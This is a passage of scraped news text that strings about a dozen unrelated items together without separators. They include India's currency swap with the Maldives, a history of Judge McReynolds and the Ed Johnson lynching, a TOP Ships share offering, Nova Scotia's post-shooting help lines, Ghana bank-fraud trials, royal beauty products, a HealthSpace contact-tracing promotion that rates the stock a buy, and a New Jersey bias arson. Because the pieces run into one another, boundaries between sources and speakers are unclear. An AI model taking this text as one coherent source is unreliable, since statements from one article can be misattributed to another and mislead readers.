aan den Rijn, the Netherlands. Wolters Kluwer provides trusted clinical technology and evidence-based solutions that engage clinicians, patients, researchers and students with advanced clinical decision support, learning and research and clinical intelligence. For more information about our solutions, visit http://healthclarity.wolterskluwer.com and follow us on LinkedIn and Twitter (News - Alert) @WKHealth. For more information, visit www.wolterskluwer.com, follow us on Twitter, Facebook, LinkedIn, and YouTube. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005665/en/ [ Back To TMCnet.com's Homepage ] India extended a USD 150 million foreign currency swap support to the Maldives on Tuesday to help the strategically important Indian Ocean island nation mitigate the impact of the COVID-19 pandemic. The swap facility was extended under USD 400 million currency swap arrangement signed between India and the Maldives in July last year. The currency swap facility is part of the USD 1.4 billion economic package announced by India for the Maldives during the state visit of President Ibrahim Mohamed Solih in December 2018, according to an official statement. The Maldives is the only country, other than Bhutan, which has been extended the USD 400 million currency swap facility, it said. "Done deal! India has extended USD 150 million foreign currency swap support to @MMA_Maldives under the USD 400 mn bilateral agreement signed in July 2019.The arrangement was activated to help Flag of Maldives mitigate the financial impact of COVID-19," India's High Commission in Maldives tweeted. India stands shoulder-to-shoulder with the Maldives in tackling the global COVID-19 pandemic and providing financial stability. India is also considering extending the validity of the currency swap facility by one year, the statement said. India's decision to activate the currency swap arrangement comes a week after Prime Minister Narendra Modi spoke with President Solih on the "health and economic challenges" the COVID-19 pandemic poses for the island nation. India will stand by its close maritime neighbour and friend in this challenging time, Modi said in a tweet after speaking with Solih. Modi paid a two-day visit to the Maldives in June, his first bilateral trip after his re-election for a second term. He also visited the Maldives in November 2018 to attend President Solih's swearing-in ceremony. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The life of Judge Samuel McReynolds, who presided over the Ed Johnson trial, demonstrates how political pressure and threat of mob violence can eliminate the phrase of an independent judiciary which today is defined as a neutral and detached judiciary. Samuel Davis McReynolds was born on a farm near Pikeville in Bledsoe County on April 16, 1872. He attended local schools and Cumberland University at Lebanon, Tennessee and was licensed to practice law in 1893. McReynolds originally practiced law in Pikeville and served as an assistant attorney from 1894-1896. He subsequently moved to Chattanooga in 1896 and in 1903 was appointed Criminal Court Judge. McReynolds term of office was ending and he was facing a re-election campaign in two months when the Ed Johnson case came up in February, 1906. McReynolds succumbed to the ugly situation and made several unconstitutional decisions if we review his actions in light of present day constitutional guarantees, but were acceptable in the atmosphere existing in the South during this era of segregation. He granted leading criminal lawyer Lewis Shepherds request to be appointed counsel for Johnson but also appointed two other lawyers who had never tried a criminal case. When Johnson was arrested Judge McReynolds performed a noble action of courage when he confronted the angry mob that was gathering at the jail to lynch Johnson. The Judge faced the crowd and told them to go home and for a while this appeased the citizens trying to take the law into their own hands as was customary in the South during this era. From this point on McReynolds failed as a judicial officer in the high profile case because of his political ambition and upcoming re-election. Amongst the invalid steps he took were: 1) Scheduling a capital murder for trial nine days from date of arrest; 2) Failure to even consider a motion to take the case out of Chattanooga and informed the defense counsel that it would be summarily denied without a hearing; 3) Making numerous pro-prosecution statements and rulings in the trial; 4) Denying a new trial hearing because the appointed lawyers were one day late in filing it; 5) Sentencing Johnson to death and discouraging an appeal to the Tennessee Supreme Court 6) Refusing to notify Sheriff Shipp that a lynch mob was surrounding the jail to take the prisoner out and hang him; When Shepherd and new African American attorneys Noah Paden and Styles Hutchins got a 10-day stay of execution after the trial and the United States Supreme Court Justice John Marshall Harlan granted a second stay, Judge McReynolds was appalled and took the action as a personal insult on him and the state court system. After Johnson had been lynched on the Walnut Street Bridge and his body shot 50 times, McReynolds was easily re-elected two months later. He served two more terms of office. After Sheriff Shipp and several others were cited by the United States Supreme Court for contempt of aiding and abetting the lynch mob, McReynolds only narrowly escaped being tried for contempt himself. McReynolds remained a popular judicial officer in Hamilton County and, upon the unexpected death of former Congressman John A. Moon in 1921, McReynolds became the Democratic candidate for Congress from the Third District and defeated the Republican candidate in the general election. He became one of the most powerful members of Congress. McReynolds became chairman of the House Foreign Affairs Committee and in that capacity steered President Franklin Roosevelts legislation through Congress. Roosevelt counted on McReynolds to work out compromises with the isolationists in Congress. McReynolds' political ambition got thwarted on two occasions when Cordell Hulls Senate became vacant when he became Secretary of State, and the Congressman sought the position, but it went to fellow Chattanoogan Nathan Bachman. When Senator Bachman died suddenly in 1937 McReynolds once again sought the appointment, but Governor Gordon Browning appointed relatively unknown labor leader George Berry to the position. McReynolds was re-elected in 1938 by easily beating Chattanooga Judge L.D. Miller, Sr. Bad health probably caused McReynolds not to run for the Senate in 1938. He suffered from heart disease and ultimately died in Washington on July 11, 1939 from an attack. He was succeeded in office by Estes Kefauver. President Roosevelt wrote a personal letter praising McReynolds for his fine personal qualities and public service. It is doubted that any of Ed Johnsons family concurred in the salutations and favorable compliments towards Congressman Reynolds. * * * Jerry Summers (If you have additional information about one of Mr. Summers' articles or have suggestions or ideas about a future Chattanooga area historical piece, please contact Mr. Summers at jsummers@summersfirm.com ATHENS, Greece, April 28, 2020 (GLOBE NEWSWIRE) -- TOP Ships Inc. (the Company) (TOPS) announced today that it has entered into a placement agency agreement with Maxim Group LLC relating to the sale of the Companys common shares (the Placement Agency Agreement). Pursuant to the Placement Agency Agreement, the Company entered into a securities purchase agreement with certain institutional investors in connection with a registered direct offering of an aggregate of 35,000,000 common shares at a public offering price of $0.186 per share (the Registered Offering). The aggregate gross proceeds of the Registered Offering is $6.5 million. The Registered Offering is expected to close on or about April 29, 2020, subject to the satisfaction of customary closing conditions. Maxim Group LLC is the sole placement agent in connection with the offering. The common shares are being offered pursuant to a shelf registration statement on Form F-3 (File No. 333-234281) previously filed and declared effective by the United States Securities and Exchange Commission (SEC). A prospectus supplement relating to the offering will be filed by the Company with the SEC. When filed, copies of the prospectus supplement, together with the accompanying base prospectus, can be obtained at the SEC's website at http://www.sec.gov or from the offices of Maxim Group LLC, 405 Lexington Avenue, New York, New York 10174, Attn: Prospectus Department, or by telephone at (212) 895-3745. This press release shall not constitute an offer to sell or the solicitation of an offer to buy any securities, nor shall there be any sale of these securities in any jurisdiction in which such offer, solicitation or sale would be unlawful prior to the registration or qualification under the securities laws of any such jurisdiction. Any offers of securities will be made only by means of a prospectus supplement and accompanying base prospectus. About TOP Ships Inc. TOP Ships Inc. (TOPS) is an international owner and operator of modern, fuel efficient ECO tanker vessels currently focusing on the transportation of crude oil and petroleum products. Story continues Cautionary Note Regarding Forward-Looking Statements Matters discussed in this press release may constitute forward-looking statements within the meaning of the U.S. federal securities laws. The Private Securities Litigation Reform Act of 1995 provides safe harbor protections for forward-looking statements in order to encourage companies to provide prospective information about their business. Forward-looking statements include statements concerning plans, objectives, goals, strategies, future events or performance, and underlying assumptions and other statements, which are other than statements of historical facts. The Company desires to take advantage of the safe harbor provisions of the Private Securities Litigation Reform Act of 1995 and is including this cautionary statement in connection with this safe harbor legislation. The words believe, anticipate, intends, estimate, forecast, project, plan, potential, may, should, expect pending and similar expressions identify forward-looking statements. The forward-looking statements in this press release are based upon various assumptions, many of which are based, in turn, upon further assumptions, including without limitation, our management's examination of historical operating trends, data contained in our records and other data available from third parties. Although we believe that these assumptions were reasonable when made, because these assumptions are inherently subject to significant uncertainties and contingencies which are difficult or impossible to predict and are beyond our control, we cannot assure you that we will achieve or accomplish these expectations, beliefs or projections. For further information please contact: Alexandros Tsirikos Chief Financial Officer TOP Ships Inc. Tel: +30 210 812 8107 Email: atsirikos@topships.org Nova Scotia Sets up Help Lines for Citizens Struggling Amid Mass Shooting, Pandemic The Nova Scotia government has activated a roster of psychologists to help address the mental health challenges facing the provinces weary population. In a release Tuesday, the Nova Scotia Health Authority said people can call in to a free service set up by the Association of Psychologists of Nova Scotia to talk about their distress over the recent mass shooting that left 22 people dead. The agency is opening a special phone line as of Wednesday to allow Nova Scotians to talk about their difficulties and ways of coping with the tragedy amid the COVID19 shutdown. Many residents of the province already appeared to be struggling with stress prior to the shootings. In a national survey conducted before the killings, the Angus Reid Institute noted that of 53 Nova Scotians included, more than half said worry was the best word to describe the emotion theyre feeling the most. Dean Perry, a clinical psychologist at St. Marthas Regional Hospital in Antigonish, said more than 50 psychologists will be available to provide assistance through the service set up by his associations post-disaster committee. He said the hope is that people who are in need of immediate help access the service, and those needing further care could be given a referral. The design [of the service] is to have people who are affected by the tragedy to be stabilized and to have their immediate needs and concerns looked at, Perry said. Royal Canadian Mounted Police investigators search for evidence at the location where Constable Heidi Stevenson was killed along the highway in Shubenacadie, Nova Scotia, Canada, on April 23, 2020. (Andrew Vaughan/The Canadian Press via AP) Dr. Robert Strang, Nova Scotias chief medical officer of health, said officials are aware of the challenges posed to both physical and mental health by the dual stressors of the shootings and the COVID-19 restrictions. We are actively looking at opening up perhaps, peoples options to being outdoors more, said Strang. However, he didnt specifically indicate how soon that might happen. Strang said it could still be weeks before any restrictions are lifted, and even when they are, people will have to follow basic requirements to limit the size of social gatherings. People who knew those killed in the shooting say it has been difficult to cope with the loss, particularly in isolation. Jane Andrews, whose distant cousin Joey Webber was murdered by Gabriel Wortman on Sunday in Shubenacadie, said the shooting has intensified anxious emotions that were already present due to the provincial shutdown. Even prior to the shooting, the 65-year-old retiree said she often felt exhausted, although she hadnt been physically active, and had periods of uncontrolled crying. Then came this horrendous massacre in our province. This was my breaking point. I screamed, I ranted, I raged. I looked up and challenged God: Why? When will enough be enough? If youre testing me, God, Ive failed,' said the resident of Hubbards. Alec Gratto, the younger brother of Jamie Blaira mother of two young boys killed along with her husband Greg Blair at their home in Portapiquesaid he is aware of the kind of mental distress Nova Scotians are feeling and urged people to seek help. I went through mental health [services] years ago, and it was beneficial. Just make a phone call and start talking, he said in an interview. A Royal Canadian Mounted Police (RCMP) SUV pulls up to the end of Portapique Beach Road while an officer speaks with a man after the police finished their search for a shooter of multiple victims in Portapique, Nova Scotia, Canada, on April 19, 2020. (John Morris/Reuters) The grief in Portapique, the coastal community where the murder spree started late April 18, can be felt across the Bay of Fundy in the small community of West Gore, said resident Kathy Didkowsky. When word got around that there was a shooter on the loose on the morning of April 19, Didkowsky said she struggled to work the lock on her door, because it had been so long since she felt the need to use it. The rampage ended later that day when the killer was fatally shot by police in Enfield, Nova Scotia, after a 13-hour manhunt through central and northern communities. While she never met the victims of the massacre, Didkowsky said they still feel like family, given the shared way of life that connects villages across Nova Scotia. She said that rural quietude seems to be under threat following shootings. Nothing has prepared us for this, said Didkowsky, 70. A woman pays her respects at a roadside memorial in Portapique, Nova Scotia, Canada, on April 23, 2020. (Andrew Vaughan/The Canadian Press via AP) Tanya Sharpe, an associate professor at University of Torontos school of social work, said this shows how the trauma of deadly violence can ripple through a community. In the wake of tragedy, Sharpe said many people need to collectively mourn the loss of a perceived sense of normalcy, often finding ways to come together in an effort to rebuild. But as COVID-19 has prohibited typical forms of social support, Sharpe expects many will see prolonged symptoms of grief, and said mental health workers need to prepare accordingly. It is so fundamental for service providers to have both a short-term crisis intervention plan to help, as well as a long-term [plan], said Sharpe. The Nova Scotia Health Authority said in its release that anyone can call 902-422-9183, from 9 a.m. to 3 p.m., Monday to Friday, to arrange a support session with a psychologist within 48 hours. Psychologists will offer their expertise, free of charge, via online video conference or by telephone, due to COVID-19 restrictions. By Michael Tutton in Halifax and Adina Bresge in Toronto Fort Hood officials and Special Agents from the U.S. Army Criminal Investigation Command are asking for the publics assistance in locating 20-year old Pfc. Vanessa Guillen of Houston. Investigators are offering a reward of up to $15,000 for credible information on the whereabouts of Guillen, last seen on April 22 at 1 p.m. according to a news release. From travelogues to films and even webcams, Neil Simpson reveals how you can still explore the world from your own home during the lockdown. Seeing the sights of Europe was a far more glamorous affair in the early 1960s, so take a step back into that golden age in the sun-drenched movie thriller The Two Faces Of January. A couple of wealthy American tourists, played by Viggo Mortensen and Kirsten Dunst, drift from one glorious setting to another, including the Acropolis in Athens, clifftop ruins in Crete, and the minarets and markets of Istanbul. The 2014 film is based on a Patricia Highsmith novel, so theres darkness amid the sun. But like the adaptation of her better-known The Talented Mr Ripley, starring Matt Damon, Jude Law and Gwyneth Paltrow, the real stars here are the scenery and the sparkling sea. Golden age: Viggo Mortensen and Kirsten Dunst tour Europe in The Two Faces Of January For a travelogue with a much lighter touch, turn to a very different American author: Bill Bryson. His classic book Notes From A Big Country from the 1990s (first published as columns in The Mail on Sunday) still paints a perfect picture of his homeland. His description of cheap American motels, where he says that it feels perfectly normal to be woken at 3am by a female voice screaming Honey, put down the gun and give me the baby, is a joy. Its now available as a paperback, e-book or audiobook. Keep smiling as you explore the stunning landscapes and wide- open spaces of Finland online. The countrys tourist board sprinkles plenty of humour amid the glorious photographs that are on display at visitfinland.com. The Find The Finn In You section generates your Finnish name (Im now Sampo Sammalkorpi) and tells you what the words mean. Scroll on to read all about Santa Claus, saunas and the six steps to be happy like a Finn before researching the perfect igloo, ice-hotel, treehouse or cottage for a future trip. A desert island might feel like the ideal place to ride out the storm of lockdown and the BBC Sounds app offers The Food Programme: Stranded! How To Eat On A Desert Island. Research the perfect igloo, ice-hotel, treehouse or cottage to stay in for a future trip to Finland at VisitFinland.com It reveals that we neednt go hungry while were there. From seaweed (natures original multi-vitamin) to sea kale, the show explains the restaurant is always open on the beach. Apparently, there are just three ingredients are needed to recreate the spa experience of a five-star hotel at home. The group of MarBella Collection hotels in Greece has put together a series of simple (if potentially rather messy) face-mask recipes using some honey, bananas and orange juice. Find the recipes, alongside many other Mediterranean-inspired activities, by searching #Athomewithmarbella online. If those beauty treatments have got you ready for a Zoom close-up with friends, you need to dress the part to stay in the holiday mood. Click on the fashion section of travel gift shop airportag.com for ideas. Its an American site but products can be priced in pounds and sent to the UK. Favourite slogans on T-shirts include Do I Look Like I Fly Economy? and Jet Lag Made Me Do It. Alternatively, pick a shirt that says what most travel-fans are thinking this spring: Id Rather Be Flying. The trials of owners and heads of defunct banks whose actions allegedly led to the banking crisis in recent years have been adjourned to latter parts of May due to restrictions to fight the Covid-19 pandemic. A total of 19 persons who were involved in the running of the banks have been charged before different divisions of the Accra High Court for their alleged involvements in misapplication of funds of their respective banks. uniBank Former Finance Minister Dr. Kwabena Duffuor, founder of defunct uniBank Ghana Limited, and eight other officers of the bank are in court for their alleged 'dishonest' spending of over GH5.7 billion belonging to customers and investors of the insolvent private bank. Among the accused persons charged is the former 2nd Deputy Governor of the Bank of Ghana (BoG), Dr. Johnson Pandit Asiama, under whose watch over GH450 million was allegedly doled out to uniBank, without following laid-down procedures according to the Attorney General's Department. Dr. Duffuor, Dr. Asiama, Kwabena Duffuor II, Ekow Nyarko Dadzie-Dennis, Elsie Dansoa Kyereh, Jeffrey Amon, Benjamin Ofori, and Kwadwo Opoku Okoh are facing a total of 68 charges, including fraudulent transactions and money laundering, but they have all pleaded not guilty to the charges. Capital Bank The Founder and Chief Executive Officer of defunct Capital Bank, Ato Essien, the bank's former Managing Director, Fitzgerald Odonkor, together with Tetteh Nettey, a former Managing Director of MC Management Service owned by Ato Essien, as well as a businesswoman, Kate Quartye-P Apafio, are before the court charged with 26 counts of conspiracy to steal, stealing, and money laundering. The four are alleged to have misappropriated a total of GH620 million liquidity support given to the bank by the BoG to enable it to service its maturing debt. The accused persons, according to the state, opened various bank accounts with Capital Bank through which the GH675 million BoG liquidity support was transferred to, while others were carried in jute bags to Ato Essien as payment for business promotion. UT Bank Former Chief Executive Officer (CEO) of insolvent UT Bank, Prince Kofi Amoabeng, and five others have been charged for their alleged conducts, leading to depositors of the bank losing money. The businessman and Dr. Johnson Pandit Asiama, as well as four of his former employees, are before the court facing some 42 charges, including causing financial loss to the state. Mr. Amoabeng is alleged to have transferred the investment of some 15 companies totalling GH51,334,387.08 and $8,799,917 from UT Bank to UT Holdings, a company he owns, without the knowledge and consent of the investors. Dr. Asiama, on the other hand, is accused of allegedly causing financial loss to the state by approving GH460 million liquidity support for UT Bank, without following laid-down procedures. Apart from Mr. Amoabeng and Dr. Asiama, other persons charged are Raymond Amanfu, former Head of Banking Supervision Department (BSD) at BoG from 2014 to October 2017; UT Holdings Limited (UT Holdings); Catherine Johnson, former Head of Treasury who had also acted as the Head of Corporate Banking of UT and Robert Kwesi Armah, a former General Manager of Corporate Banking of UT. Adjournment The case involving Ato Essien and others was to begin with the prosecution led by Director of Public Prosecutions (DPP), Yvonne Atakora-Obuobisa, set to call its first witness, but the Covid-19 restrictions affected the process. The other cases are at pre-trial stages as the Office of the Attorney General is taking steps to disclose all the documents it intends to rely on for the trial. The cases have all been adjourned to late May 2020 as a result of the restrictions. ---Daily Guide The French couture fashion house Yves Saint Laurent has announced it will not be participating in Fashion Week for the rest of the year due to Covid-19 concerns. The move is seen by many as a rebellion against the frenetic fashion calendar. According to the French Federation of Fashion and Haute Couture, there are at least six fashion shows per year, including men's, women's and haute couture. For fashion houses such as Yves Saint Laurent, head designer Anthony Vaccarello hinted that the heavy schedule is more of a burden than an organised output of creativity, saying on social media that YSL would take back ownership of its calendar and launch its collectionsdriven by creativity. Conscious of the current circumstance and its waves of radical change, Saint Laurent has decided to take control of its pace and reshape its schedule, Vaccarello stated in a social media post. Now more than ever, the brand will lead its own rhythm, he added. Slave to fashion no more Vaccarrello's comments reflect those of Italian fashion designer Giorgio Armani who said last month it was time to cut the superfluous in fashion and cut back on the strict schedule. Armani is one of the storied Italian fashion houses who rededicated their workshops to churning out masks and personal protective gear for front-line health care workers in Italy who are handling Covid-19 patients. Italy is one of the hardest hit by the Covid-19 outbreak; as of Monday, 197,675 cases were registered, the third-largest hotspot in the world. Some 26,644 people have already died in Italy, according to the Johns Hopkins Covid-19 watch. The times we are living in are turbulent, but they give us a unique chance to see what is not working, to cut out the superfluous, and find a more human dimension to it, said Armani in a letter to Jetset magazine last month. That is perhaps the most important lesson of this crisis, wrote Armani. Fashion victim A number of fashion commentators applauded Belgian Vaccarello for making a bold move, but the coronavirus has made many question the hyper-consumption of fashion, from the throwaway fast fashion of high street retailers to haute couture. Fashion campaigners Fashion Revolution have called for a more ethical form of fashion that is safe and fair to those who make fashion, but have also called for an end to overconsumption. Fashion designers have long complained that they were burnt out by the demands of the strict schedule of six or more collections per year. Saint Laurent will follow a plan conceived with an up-to-date- perspective, driven by creativity, wrote Vaccarello. W hen it comes to all things chic and sleek, the Duchess of Cambridge reigns supreme. From her array of sartorial smash hits to her bouncy blow dries, none of her fashion or beauty moments go unreported. And in the realm of fashion, the impact of the Duchess of Cambridges stylistic know-how is evident. Data has shown that Kates outfits, on average, drive a 159 per cent increase in demand for specific products. However in the beauty biz, the Duchesses favourites are a little more, well, concealed. While royals are forbidden from publicly disclosing brand affiliations - and the Duchess doesn't yet have the ability to issue royal warrants to her favoured brands - her glow is believed to be thanks to a slew of affordable and attainable brands, both large and small. In fact, the Duchess is much less high-maintenance than her radiance would have you believe. Here are some of her favourite products. Clarins Natural Lip Perfector Clarins Natural Lip Perfector, 18.50, shop it here During a jaunt to Wimbledon last year on July 2, Kate gave royal fans a peek inside her make-up bag when she whipped out her peachy pink lip balm, which turned out to be the Clarins Natural Lip Perfector. The image of Kate appeared to show the product in one of the brands pale pink shades, like Rose Shimmer or Toffee Pink Shimmer. Karin Herzog Oxygen Swiss Karin Herzog Oxygen Face Cream, 43, shop it here Kate has been relying on Swiss skincare brand Karin Herzog for years. Rumour has it that the brand's Vita-A-Kombi 1 moisturiser, a treatment made with one percent active oxygen; Professional Cleanser, and the Oxygen Face cream, which is an antiseptic two percent oxygen cream that "treats and regulates skin cells;" are three of her skincare staples. So much so that all three were reportedly firm fixtures in her pre-wedding 4-step beauty routine. While the brand has never confirmed this, it certainly set tongues wagging when it started selling the three products as a trio, which it conveniently named "Royal Oxygen Regime." Black Bee Venom Mask Deborah Mitchell Black Bee Venom Mask, 163, shop it here A few days before her vows, Kate supposedly received the Black Bee Venom Mask from skincare maven, Deborah Mitchell, and used it in preparation for her big day. The mask is also a favourite of Kate's mother-in-law, the Duchess of Cornwall. In fact, so relied upon by the royals is Mitchell, that she attended Prince William and Kate's royal wedding in 2011. Trilogy Rosehip Oil Trilogy Certified Organic Rosehip Oil, 19.50, shop it here Kate reportedly began using Trilogy's rosehip oil on her face during her pregnancy with Princess Charlotte. In 2015, a royal source revealed that Kate continues to use rosehip oil in her daily skincare regimen. She loves the effect it has on her skin. Her mother, Carole Middleton, is also a fan of the oil, which is comprised of 80 per cent essential fatty acids and is revered for its natural anti-aging properties. Beuti Beauty Sleep Elixir Beuti Beauty Sleep Elixir / Beuti Beuti Beauty Sleep Elixir, 47, shop it here According to Leila Aalam, Beuti's founder, Kate became a huge fan of her face oil after her family friend, who has worked at Kensington Palace for years, passed on a bottle of the elixir to the Duchess. So taken was she with the natural face oil, that she gifted her sister-in-law Meghan Markle with a bottle and it didn't take long before the two became devotees. The oil is made using 14 plant-based oils, including a Caribbean coral extract, which is a powerful anti-inflammatory, plus a sandalwood nut kernel oil to help prevent collagen and elastin break down. Bobbi Brown Shimmer Brick Bobbi Brown Shimmer Brick Compact, 36, shop it here The Duchess famously applied her own make-up for her wedding day in 2011, but she received "artistry assistance" from Bobbi Brown professional make-up artist Hannah Martin, who advised the royal to use this shimmer brick on her cheeks for a subtle glow. So devoted a fan of a tan is Kate that she reportedly also enjoys weekly St. Tropez spray tanning sessions. Laura Mercier Tinted Moisturiser Laura Mercier Tinted Moisturiser, 35, shop it here Rumours started swirling in 2011 when Kate was spotted by eagle-eyed fans stocking up on Laura Mercier's cult tinted moisturiser in Peter Jones, Sloane Square. Then, just a matter of months later, she was spotted by another group of fans in Boots on King's Road, where she purchased the cheap and cheerful Nivea Visage Pure and Natural Moisturising Day Cream (3.99, shop it here.) Biotulin Supreme Skin Gel Biotulin Supreme Skin Gel, 50, shop it here Essentially referred to in the skincare world as "organic botox in a bottle", the Duchess also swears by this lightweight and silky gel which contains spilanthol, a local anesthetic extracted from the plant Acmella olerace. In fact, Kate might as well add "skincare supremo" to her roster of achievements, as she recommended the product to former First Lady, Michelle Obama. Michelle Obama has been using this organic Botox gel regularly on the recommendation of Kate Middleton, Obama's make-up artist, Carl Ray, shared in 2016. Lancome Hypnose Mascara Lancome Hypnose Mascara, 27, shop it here For her trademark sultry eyes, the Duchess relies on the earthy tones of the Urban Decay Original Naked Palette (it was discontinued, shop a similar one here) - something which the brand confirmed. She reportedly tops off her bronzed eyes with a sweep of Lancome's Hypnose Mascara, and a lining of Bobbi Browns' Long-Wear Gel Eyeliner (20, shop it here) on both her top and bottom lid. Jo Malone Orange Blossom Cologne Jo Malone Orange Blossom Cologne, 94, shop it here TICKERS: HS; HSDLF Source: Streetwise Reports (4/28/20) As contact tracing moves to center stage as a key to reopening the economy, HealthSpace releases a scalable cloud-based system that is rapidly being adopted, including by the state of Hawaii. HealthSpace Data Systems Ltd. (HS:CSE; HSDLF:OTCMKTS), a Software as a Service (SaaS) company that works with more than 500 government agencies across North America, has extended its HSCloud Suite and My Health Department products to enable contact tracing for COVID-19. The state of Hawaii, the Okanogan County Public Health in Washington and Vancouver Island Health Authority are among the initial users of the platform. Contact tracing is the process used by epidemiologists to retrace the steps of a person who is infected with COVID-19, to identify and track the people that person has had contact with. "These agencies then embark on a painstaking process of interviewing each of the potential contacts, calling them daily for a set period of time to monitor if they exhibit any symptoms," the company stated. "Contact tracing is a very effective and tried-and-true tool used by epidemiologists all over the world by agencies as large as the CDC down to small rural counties. Everybody implements contact tracing in times of epidemics and outbreaks. And it's been all the more prevalent during the COVID-19 situation," HealthSpace CEO Silas Garrison told Streetwise Reports. "Health departments need to be in touch with each patient, as well as with colleagues and family members that they came into contact with over the past week or two," Garrison explained. "They're calling those people every single day, asking specific questions about their temperature and other symptoms. They have to do this for a period of up to 14 days or more. You can just extrapolate what kind of numbers we are talking about, especially with this outbreak when you have thousands and thousands of people that public agencies are having to call, ask questions of, and catalog that information. Contact tracing done through traditional means just doesn't scale." In HealthSpace's system, the information on the patient and their contacts is inputted into the platform and people receive a daily text alert or email message with a "secure and unique link to fill out their symptoms," Garrison said. "When something comes in that is set as a threshold flag, such as a temperature over 100 degrees, the head epidemiologist is immediately alerted, and additional appropriate measures such as recommending that they receive testing or placing in quarantine are enacted." "The platform also allows those filling out the questionnaire to list places they have recently beensuch as a supermarketand people they have been in direct contact with, enrolling these new contacts in the daily contact tracing questionnaire. This multiplies the reach and helps control community spread more effectively. The information is securely stored inside of HealthSpace's secure HSCloud Suite platform for detailed reporting and analysis, helping these agencies make informed decisions in real-time," the company stated. "Health departments can communicate with these people at mass scale in an instant; this platform, utilizing text message and email as the basis for communication, really streamlines the efficiency and allows health agencies more granular reporting, and in a way that they really can't do right now through traditional contact tracing methods," Garrison added. Getting set up on the contact tracing platform has been a simple process, Garrison said. "For existing customers, onboarding time can literally be same day for most any jurisdiction across North America." HealthSpace's mainstay platform, HSCloud Suite, was developed to enable government agencies manage their workflow and organize the large amounts of data they must maintain. "Health departments are the folks that regulate restaurants, hotels, tattoo parlors, daycares, a long list of business that they oversee, to ensure that they are operating in a safe and healthy manner, in accordance with whatever the regulatory guidelines are for a given jurisdiction," Garrison explained. The firm's cloud-based platform encompasses the entire workflow, handling the process from application to licensing and billing to the fieldwork where an inspector will go out with an iPad app and perform the inspection, taking pictures and notating any issues so that the business can make adjustments. More than 500 government agencies across the U.S. and Canada use HealthSpace's platform. The company was formed around 20 years ago and began migrating to a cloud-based solution around two years ago. The firm boasts of customer retention of nearly 100%. "Now with our cloud solutions, our sales have taken an upswing, and the adoption rate is not only just growing, but the demand for our solutions is really picking up." Garrison stated. Earlier this year, the firm closed a contract with the City of San Francisco. "That is a really big win for us in multiple ways. Not only is that the heart of Silicon Valley, and really opens up the door to a lot of recognition, but it also gives us new ground to begin selling in California. It's our first customer in California, so we've opened up a new sales territory, and there are numerous cities within the Bay Area that are now looking at our solution," Garrison said. "Right now our sales pipeline is at over $15 million in multi-year contracts. At the end of last year, we guided that our sales pipeline was $7 million. Since then, we have closed over two-thirds of that pipeline and added more deals to increase the pipeline to $15 million. We are closing sales at a historic pace in a way that the company has never seen," Garrison added. The firm is increasing its offerings and revenue sources by teaming up with PayPal to develop HSPay, a payment platform for its customers. "HSPay is essentially a fintech solution rolled up within our cloud platform," Garrison explained. "Our existing customers are currently collecting over $300 million a year in revenue from private businesses in order for them to operate. The majority of that money comes through paper means: check or cash. That is so cumbersome in this modern age, not only does the fee reconciliation process for the government agency necessitate bank deposits, but it's also burdensome on the private industry having to cut a paper check in an age where they'd much prefer online and mobile payments." HealthSpace will be the merchant of record and offer the value added service to its government agency customers. "The government gets its money faster and it is saved a lot of headaches, but also private businesses are actually now incentivized and less taxed in terms of time and effort because they don't have to worry about keeping track of which invoice is paid. It's all stored in one central online solution. And our agreement with PayPal allows us to have a portion of the fees, adding a new revenue stream," Garrison said. The firm is targeting a summer delivery date for HSPay. HealthSpace is expanding its horizons in additional ways. "We are now focusing our energies on not just environmental health and agriculture, but other areas of government. The entire addressable market size within environmental health is well over $100 million in terms of achievable business for us. But there are other areas of government that follow the exact same pattern as environmental health departments: applications from private businesses, issuing licenses, and conducting periodic inspections, along with invoicing usually on a yearly basis. All of that is exactly tailor-made to our solution. And so now we're looking into other areas of government, where not only do they have deeper pockets, but the barriers to entry and the competitive landscape are actually a little weaker. And that gives us more power and vertical growth as we continue to expand," Garrison said. Technical analyst Clive Maund follows the company and on April 26 wrote on CliveMaund.com, "HealthSpace Data Systems is a company that is finding itself sought after for its HSCloud suite platform for Covid-19 Contract Tracing which was only released just over two weeks ago, but is already being rolled out in Hawaii, Michigan and North Carolina with many other states expressing an interest It is therefore not surprising to see the stock break out on huge volume on Friday on a news release Given the current strong fundamentals which are continuing to improve, it is expected to advance swiftly in a vigorous uptrend It could easily run up to the early 2018 highs at C$0.27 and could perhaps continue higher Healthspace is rated an immediate buy here for a short and medium-term timeframe." HealthSpace has about 152 million shares outstanding and around 176 million fully diluted. Just over 10% of the company is owned by management officers, directors and insiders. The company's market cap is approximately CA$12.17 million. [NLINSERT] Disclosure: 1) Patrice Fusillo compiled this article for Streetwise Reports LLC and provides services to Streetwise Reports as an employee. She or members of her household own securities of the following companies mentioned in the article: None. She or members of her household are paid by the following companies mentioned in this article: None. 2) The following company mentioned in this article is a billboard sponsor of Streetwise Reports: None. Click here for important disclosures about sponsor fees. 3) Comments and opinions expressed are those of the specific experts and not of Streetwise Reports or its officers. The information provided above is for informational purposes only and is not a recommendation to buy or sell any security. 4) The article does not constitute investment advice. Each reader is encouraged to consult with his or her individual financial professional and any action a reader takes as a result of information presented here is his or her own responsibility. By opening this page, each reader accepts and agrees to Streetwise Reports' terms of use and full legal disclaimer. This article is not a solicitation for investment. Streetwise Reports does not render general or specific investment advice and the information on Streetwise Reports should not be considered a recommendation to buy or sell any security. Streetwise Reports does not endorse or recommend the business, products, services or securities of any company mentioned on Streetwise Reports. 5) From time to time, Streetwise Reports LLC and its directors, officers, employees or members of their families, as well as persons interviewed for articles and interviews on the site, may have a long or short position in securities mentioned. Directors, officers, employees or members of their immediate families are prohibited from making purchases and/or sales of those securities in the open market or otherwise from the time of the interview or the decision to write an article until three business days after the publication of the interview or article. The foregoing prohibition does not apply to articles that in substance only restate previously published company releases. As of the date of this article, officers and/or employees of Streetwise Reports LLC (including members of their household) own securities of HealthSpace Data Systems, a company mentioned in this article. Additional Disclosures CliveMaund.com Clive Maund does not own shares of HealthSpace Data Systems, and neither he nor his company has a financial relationship with the company. A 29-year-old New Jersey man was charged with bias intimidation Sunday after he set a van on fire in Atlantic City because it was owned by a person of Mexican descent, authorities said. The owner of the van was fishing nearby after parking along the shoulder of westbound Route 40 under the Atlantic City High School overpass around 1:30 p.m. when he saw someone pour gasoline on the hood of his vehicle, Atlantic City police said. When the owner confronted the man later identified as Robert Evans Evans asked the man if he was Mexican. When the man said he was, Evans threatened him and set the van on fire, police said. Evans left the can in front of the van before being arrested a short time later. Police also charged the Pleasantville man with aggravated arson and criminal mischief before brining him 